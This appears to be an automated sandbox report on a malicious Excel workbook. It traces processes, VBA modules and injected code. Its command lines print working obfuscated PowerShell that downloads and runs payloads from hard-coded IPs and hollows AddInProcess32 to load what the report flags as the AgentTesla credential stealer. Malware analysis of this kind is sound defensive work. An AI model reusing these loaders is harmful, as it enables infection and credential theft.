MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	12:03:26
Start date:	03/07/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13fed0000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:03:28
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Imagebase:	0x4a0a0000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:03:28
Start date:	03/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Imagebase:	0x13fc40000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:03:31
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"
Imagebase:	0x13f1e0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:03:32
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP"
Imagebase:	0x13fe00000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:03:37
Start date:	03/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS"
Imagebase:	0xff700000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:03:38
Start date:	03/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"
Imagebase:	0x13fc40000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:03:45
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x1020000
File size:	42'056 bytes
MD5 hash:	EFBCDD2A3EBEA841996AEF00417AA958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.619170569.0000000002465000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 1100, Parent PID: 564COMMON

Executed Functions

Function 03290FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.464943212.0000000003290000.00000010.00000800.00020000.00000000.sdmp, Offset: 03290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3290000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 1a94b133b30e0d8eb7574468eda1d4598df7cf8fa14fda9190fdd2dbbb0f4b2e
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Function 03290FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.464943212.0000000003290000.00000010.00000800.00020000.00000000.sdmp, Offset: 03290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3290000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 1a94b133b30e0d8eb7574468eda1d4598df7cf8fa14fda9190fdd2dbbb0f4b2e
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 2988, Parent PID: 540COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE899E7018 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899E7BF0

Memory Dump Source

Source File: 00000007.00000002.491302403.000007FE899E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe899e0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 34a794edae3f87f32515174677df9acf803afd62f993b18b4119d4bb5f4031b8
Instruction ID: 531e2c03ea37ad0ace25baee197a551d2087d538d4d39d78cc7af3977b5b8b0d
Opcode Fuzzy Hash: 34a794edae3f87f32515174677df9acf803afd62f993b18b4119d4bb5f4031b8
Instruction Fuzzy Hash: 09319031908A5C9FDB58EF58D8857A9B7E1FB59711F04822ED04DD3662CB70A8058B81

Function 000007FE89AB566D Relevance: 1.7, Strings: 1, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 000007FE89AB5744

Memory Dump Source

Source File: 00000007.00000002.491372827.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID: V
API String ID: 0-1342839628
Opcode ID: 4a9ce835cca6e490a8b618dd39456f8555a714290a9f337101efb0c42fde9fec
Instruction ID: 1e3a49380bb5f80eca4e8901a062f149d2f03e11c39f2ea8582bbcc7cdc982f3
Opcode Fuzzy Hash: 4a9ce835cca6e490a8b618dd39456f8555a714290a9f337101efb0c42fde9fec
Instruction Fuzzy Hash: 3ED1173180E7C91FD357973858146B57FA4EF47260F0911EBD48DCB0A3D619AD5AC3A2

Function 000007FE899E7AE1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899E7BF0

Memory Dump Source

Source File: 00000007.00000002.491302403.000007FE899E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe899e0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 37ae42287ad025a01c4878b76a4a11a5d7a13ff8caf1d3569e18c4c896d6c5e5
Instruction ID: b2e158e5e66a5a86b939e5869275a6e9c7804e65d82aeb849d6df338f0c49118
Opcode Fuzzy Hash: 37ae42287ad025a01c4878b76a4a11a5d7a13ff8caf1d3569e18c4c896d6c5e5
Instruction Fuzzy Hash: 7D41097180CB889FD719DB6898447F97BF4FB56321F04826FD08DD3562CB646805C782

Function 000007FE89AB8549 Relevance: .7, Instructions: 709
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.491372827.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38178bb456de93e604a9211edbf4c073e7e7c76da70790b901626f201fe29a48
Instruction ID: 74f27e8377cb3a8d09caaa1221cd1846f215f67989287ff77eb894979bbe6118
Opcode Fuzzy Hash: 38178bb456de93e604a9211edbf4c073e7e7c76da70790b901626f201fe29a48
Instruction Fuzzy Hash: 5A22F63090CB894FD79ADB2C94607697BE2FF9A744F1400EED44ED72A3DA24AC56C741

Function 000007FE89AB4165 Relevance: .4, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.491372827.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df81732671e046d63cb2a228ed5890a90950b1a361920007c77ab627022f9d4
Instruction ID: 9a7c5f63699e0f232335f7a3fea2bebd0fb12381f69a8daa89c3c513e3d61501
Opcode Fuzzy Hash: 7df81732671e046d63cb2a228ed5890a90950b1a361920007c77ab627022f9d4
Instruction Fuzzy Hash: AFC1473090DBCD4FE74AE72854546BA7FE1EF46784F1900EAD48ECB1A3C618AC16C361

Function 000007FE89AB10D3 Relevance: .2, Instructions: 150
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.491372827.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1597b091038a849a9167737a7ebc4c42cfee533e4449dc49ef76c0081ad3203
Instruction ID: 1b38f1a728674197ea89650dc8581f9665ec24b7d19fa318204f394d47404c8c
Opcode Fuzzy Hash: e1597b091038a849a9167737a7ebc4c42cfee533e4449dc49ef76c0081ad3203
Instruction Fuzzy Hash: 1E41C511B0DBC90FE347937C28642657FE1EF4B255B2911EBC48ECB1A3D9099C5AC361

Non-executed Functions

Function 000007FE89AB352E Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.491372827.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 910b8dd8884096d80f2174225b9c8702b7798e0a7f28c7dc9297fffcd2e53a95
Instruction ID: cb854fa77af45642cf71ff9d5e4902c5956f7065086d3d3cd6f1f3e800a5ae0c
Opcode Fuzzy Hash: 910b8dd8884096d80f2174225b9c8702b7798e0a7f28c7dc9297fffcd2e53a95
Instruction Fuzzy Hash: 72A1162090EBCD0FD747A77898246A67FE1EF4B254F1901EBD48DCB1A3D618991AC362

Analysis Process: powershell.exePID: 3324, Parent PID: 3264COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE89A92E0E Relevance: 8.3, Strings: 6, Instructions: 827
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$L, xrefs: 000007FE89A93359
XhV, xrefs: 000007FE89A93041
XhV, xrefs: 000007FE89A933A1
(bg, xrefs: 000007FE89A930B6
XhV, xrefs: 000007FE89A934BA
XhV, xrefs: 000007FE89A931D3

Memory Dump Source

Source File: 0000000C.00000002.515226150.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe89a90000_powershell.jbxd

Similarity

API ID:
String ID: (bg$XhV$XhV$XhV$XhV$$L
API String ID: 0-880475792
Opcode ID: 299e92bb6d779f855ecbff30c02e10f89f971a8ab98f771abfb2490903da8e5b
Instruction ID: 29b51b18049f2fd7952961f075fc379c02184a7e336d1992883187587563d1f7
Opcode Fuzzy Hash: 299e92bb6d779f855ecbff30c02e10f89f971a8ab98f771abfb2490903da8e5b
Instruction Fuzzy Hash: D932E220A0DBCA0FE757A33858642B97FE1EF97254B1900EBC49ECB1E3D918AC55C352

Function 000007FE899CAE2D Relevance: 2.0, APIs: 1, Instructions: 506
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32 ref: 000007FE899CB283

Memory Dump Source

Source File: 0000000C.00000002.515074797.000007FE899C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe899c0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4644ebef2a69deba647fb28afe56df232f78f77301649861ecb456bb18aaded6
Instruction ID: 408cd57e41e93003b1fc85229ca873482abaaf5896f6e8c567ffb72334d51571
Opcode Fuzzy Hash: 4644ebef2a69deba647fb28afe56df232f78f77301649861ecb456bb18aaded6
Instruction Fuzzy Hash: 84F15C70918A8D8FEBB8EF18DC557E977E1FB59310F00412AD84ED72A1DB74A680CB81

Function 000007FE899CA90D Relevance: 1.7, APIs: 1, Instructions: 218
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 000007FE899CAA82

Memory Dump Source

Source File: 0000000C.00000002.515074797.000007FE899C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe899c0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 07d7c79c991e97771d20222cfb7d932932a250a1047a3d3c8dca3b1392e31f22
Instruction ID: 0bb6f39ec5823dd605b80c7e2f9d3269995a5e3d7fbbaebf739282803ac665c9
Opcode Fuzzy Hash: 07d7c79c991e97771d20222cfb7d932932a250a1047a3d3c8dca3b1392e31f22
Instruction Fuzzy Hash: A3612870908A5D8FDB94DF68C885BE9BBF1FB69311F1081AAD04DE3266C774A985CB40

Function 000007FE899CA5B5 Relevance: 1.7, APIs: 1, Instructions: 184
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32 ref: 000007FE899CA6E5

Memory Dump Source

Source File: 0000000C.00000002.515074797.000007FE899C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe899c0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: bdde04c6e5e40ef3328a7eff972176bb065b727e58fa87d428127218a4d5719c
Instruction ID: de0653078724dd22219681b8da9ae0b0330bda1ba1ee0fa8254100ce54785b37
Opcode Fuzzy Hash: bdde04c6e5e40ef3328a7eff972176bb065b727e58fa87d428127218a4d5719c
Instruction Fuzzy Hash: 3B514770D08A4D8FEB54DFA8C849BEDBBF1FB59311F10826AD049E3266D774A485CB40

Function 000007FE899CA45D Relevance: 1.7, APIs: 1, Instructions: 155
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 000007FE899CA54F

Memory Dump Source

Source File: 0000000C.00000002.515074797.000007FE899C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe899c0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e9ca747c484dced4c100d8589406c0d8eb7e57c8e5e31d182250e13793c1424d
Instruction ID: ae7997f24db5982cb8492f353030d419314758e2b05e5ff935e40b3e1efbe933
Opcode Fuzzy Hash: e9ca747c484dced4c100d8589406c0d8eb7e57c8e5e31d182250e13793c1424d
Instruction Fuzzy Hash: 53518D70D0878C8FDB55DFA8D849BEDBFB0EB56320F0041AAD049E7262DA74A486CB41

Function 000007FE89A90B0E Relevance: .2, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.515226150.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe89a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00321fe8c56f9749e3f77d6b20bf1909be6818bc30c65990f88d63fd12ac6542
Instruction ID: dff24213fca315fd56254fc977fd78064fba54940a41da8e32b6636de4368e0b
Opcode Fuzzy Hash: 00321fe8c56f9749e3f77d6b20bf1909be6818bc30c65990f88d63fd12ac6542
Instruction Fuzzy Hash: 23416A31E1DAAA4FEB65A72C14643B8B7D1FF45294F1801FAC45FC71A3DA18AC10C380

Function 000007FE89A91F6B Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.515226150.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe89a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e99291d75d9623da00a083bda8fa17f6cd4e557efd3abf1e5faf6098a4dd8c9
Instruction ID: 299aff1112badcd9ce1c257cb4889670bbf70c30e3c8a2bee24304f9b4b706d5
Opcode Fuzzy Hash: 2e99291d75d9623da00a083bda8fa17f6cd4e557efd3abf1e5faf6098a4dd8c9
Instruction Fuzzy Hash: 28316F1164E7C50FE707937858642A57FB1EF87268B2A10E7D48ACF2E3D9094D6AC372

Function 000007FE89A93BED Relevance: .0, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.515226150.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7fe89a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf259610b2e701be16a9b77a14556cf521998841b569fa79abdc58d02c7651f2
Instruction ID: b177790344f85b2e58c13e51e10f5cdeca6bbee1b1746c57d78c5b0312d330ef
Opcode Fuzzy Hash: cf259610b2e701be16a9b77a14556cf521998841b569fa79abdc58d02c7651f2
Instruction Fuzzy Hash: 4FF0B421E1DADD0AEB96A37C24152E47B91EF4A161B2801FAC49DD7163DD089C198380

Analysis Process: AddInProcess32.exePID: 3440, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00721D60 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 007220D7
$p, xrefs: 007220CB
